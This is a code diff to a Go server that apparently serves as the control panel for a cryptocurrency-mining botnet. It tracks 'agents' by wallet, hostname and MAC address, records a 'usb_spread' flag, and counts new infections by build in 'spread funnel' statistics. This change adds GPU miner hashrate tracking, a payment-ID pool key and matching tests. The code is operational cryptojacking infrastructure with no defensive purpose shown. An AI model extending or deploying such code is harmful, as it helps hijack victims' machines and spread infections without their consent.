
+func cloudflaredAlreadyRunning() bool {
+	out, err := exec.Command("tasklist", "/FI", "IMAGENAME eq cloudflared.exe", "/NH").Output()
+	if err != nil {
+		return false
+	}
+	return strings.Contains(strings.ToLower(string(out)), "cloudflared.exe")
+}
+
 func trimToken(s string) string {
 	s = strings.TrimSpace(s)
 	if len(s) >= 2 {
--- a/server/internal/db/agent_meta.go
+++ b/server/internal/db/agent_meta.go
@@ -35,6 +35,7 @@ func (d *Database) scanAgent(row interface {
 	a := &models.Agent{}
 	var notes, tagsRaw string
 	var usbSpread int
+	var gpuMinerActive int
 	err := row.Scan(
 		&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
 		&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
@@ -43,6 +44,7 @@ func (d *Database) scanAgent(row interface {
 		&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
 		&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
 		&a.BuildID, &a.WorkerName, &usbSpread,
+		&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
 	)
 	if err != nil {
 		return nil, err
@@ -50,13 +52,17 @@ func (d *Database) scanAgent(row interface {
 	a.Notes = notes
 	a.Tags = decodeTags(tagsRaw)
 	a.USBSpread = usbSpread == 1
+	if gpuMinerActive == 1 {
+		active := true
+		a.GPUMinerActive = &active
+	}
 	return a, nil
 }

 const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
 		hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
 		cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
-		build_id, worker_name, usb_spread`
+		build_id, worker_name, usb_spread, gpu_hashrate_15m, gpu_model, gpu_miner_active`

 func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
 	_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
--- a/server/internal/db/agent_meta_test.go
+++ b/server/internal/db/agent_meta_test.go
@@ -74,3 +74,34 @@ func TestUpdateAgentMetaClearsTags(t *testing.T) {
 		t.Fatalf("tags not cleared: %v", got.Tags)
 	}
 }
+
+func TestUpdateAgentGPUStatsRoundTrip(t *testing.T) {
+	d := openTestDB(t)
+	seedAgent(t, d, "gpu-roundtrip")
+
+	if err := d.UpdateAgentGPUStats("gpu-roundtrip", 12.5, "RTX 4090", true); err != nil {
+		t.Fatal(err)
+	}
+
+	got, err := d.GetAgent("gpu-roundtrip")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got.GPUHashrate15m != 12.5 {
+		t.Fatalf("gpu_hashrate_15m = %v want 12.5", got.GPUHashrate15m)
+	}
+	if got.GPUModel != "RTX 4090" {
+		t.Fatalf("gpu_model = %q want RTX 4090", got.GPUModel)
+	}
+	if got.GPUMinerActive == nil || !*got.GPUMinerActive {
+		t.Fatalf("gpu_miner_active = %v want true", got.GPUMinerActive)
+	}
+
+	list, err := d.ListAgents()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(list) != 1 || list[0].GPUHashrate15m != 12.5 {
+		t.Fatalf("ListAgents GPU: %+v", list)
+	}
+}
--- a/server/internal/db/spread_stats.go
+++ b/server/internal/db/spread_stats.go
@@ -18,7 +18,7 @@ type SpreadFunnelStats struct {
 func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
 	stats := &SpreadFunnelStats{ByBuild: []SpreadFunnelRow{}}

-	if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil {
+	if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= ?`, since).Scan(&stats.NewConnectsToday); err != nil {
 		return nil, err
 	}
 	if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil {
--- a/server/internal/db/sqlite.go
+++ b/server/internal/db/sqlite.go
@@ -20,8 +20,9 @@ type Database struct {
 func New(dataDir string) (*Database, error) {
 	dbPath := filepath.Join(dataDir, "miner.db")

-	// Ensure directory exists
-	os.MkdirAll(filepath.Dir(dbPath), 0755)
+	if err := os.MkdirAll(filepath.Dir(dbPath), 0755); err != nil {
+		return nil, fmt.Errorf("create data directory: %w", err)
+	}

 	db, err := sql.Open("sqlite", dbPath+"?_pragma=journal_mode(WAL)&_pragma=busy_timeout(5000)")
 	if err != nil {
--- a/server/internal/pool/manager.go
+++ b/server/internal/pool/manager.go
@@ -44,7 +44,7 @@ func (m *Manager) SetVerboseTraffic(enabled bool) {
 }

 func poolKey(cfg *Config) string {
-	return fmt.Sprintf("%s:%d:tls=%v:wallet=%s", cfg.Host, cfg.Port, cfg.UseTLS, cfg.Wallet)
+	return fmt.Sprintf("%s:%d:tls=%v:wallet=%s:payment=%s", cfg.Host, cfg.Port, cfg.UseTLS, cfg.Wallet, cfg.PaymentID)
 }

 // EnsurePoolWithBackups connects to cfg and registers backup pool configs for
--- a/server/internal/pool/manager_test.go
+++ b/server/internal/pool/manager_test.go
@@ -37,6 +37,14 @@ func TestPoolKeyDistinct(t *testing.T) {
 	}
 }

+func TestPoolKeyPaymentID(t *testing.T) {
+	a := poolKey(&Config{Host: "a.com", Port: 3333, Wallet: "w1", PaymentID: "pid1"})
+	b := poolKey(&Config{Host: "a.com", Port: 3333, Wallet: "w1", PaymentID: "pid2"})
+	if a == b {
+		t.Fatal("payment id should affect pool key")
+	}
+}
+
 func TestTruncateWallet(t *testing.T) {
 	if truncateWallet("short", 12) != "short" {
 		t.Fatal("short wallet unchanged")